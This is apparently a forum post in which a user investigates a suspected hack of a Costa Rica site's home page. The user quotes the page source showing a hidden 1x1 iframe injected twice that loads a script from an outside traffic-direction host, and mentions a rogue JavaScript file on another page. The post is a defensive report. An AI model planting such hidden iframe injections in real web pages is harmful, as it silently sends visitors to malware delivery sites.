i'm looking at the site from chrome and firefox and can see a 1x1 iframe inserted in top left corner of crt home page.
even in ie i can see it. this is where, i think, some rogue code is being executed. notice that there are two very small things in left upper corner and notice the red portion in the middle of the page is dropped down from the top. margins (see below) are set to zero so no reason for this red part to be down some.
margins:
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
i looked at the page source of the iframe and found this:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<!-- InstanceBegin template="/Templates/template.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head></head><body><iframe width="1" height="1" src="http://easibusiness.com/jake/tds/index.php?out=1362571882" border="0">
</iframe><script type="text/javascript" src="Scripts/swfobject_modified.js"></script>
<!-- InstanceEndEditable -->
<meta content="text/html; charset=iso-8859-1" http-equiv="Content-Type"></meta><style type="text/css"></style><style type="text/css"></style><link type="text/css" rel="stylesheet" href="estilo.css"></link><script type="text/JavaScript" language="JavaScript"></script><script type="text/javascript" src="Scripts/AC_RunActiveContent.js"></script><iframe width="1" height="1" src="http://easibusiness.com/jake/tds/index.php?out=1362571882" border="0"></iframe><table class="formframe" width="750" cellspacing="0" cellpadding="0" border="0" align="center"></table></body>
<!-- InstanceEnd -->
</html>
from above code: this is just blank page but another one with javascript link:
http://easibusiness.com/jake/tds/index. ... 1362571882the above easibusiness.. never know what that javascript is doing.
it would take a lot of time to get to the bottom of it all.
there is a page
https://costaricaticas.com/talk.html on the server which points to javascript cpv.jsp that is, i think, not supposed to be there.... if you look at the talk page, it says just "talk to me" only. i think someone, somewhere is able to update this page with any sort of javascript they choose.
enough said really. i think the home page is being changed at will, but it could be from anywhere internal or external. very difficult to know from where i sit. this was just a quick 40 minute look at it... on the surface, doesn't seem right.
Login
Register
FAQ
Search
Calendar
Pura Vida 
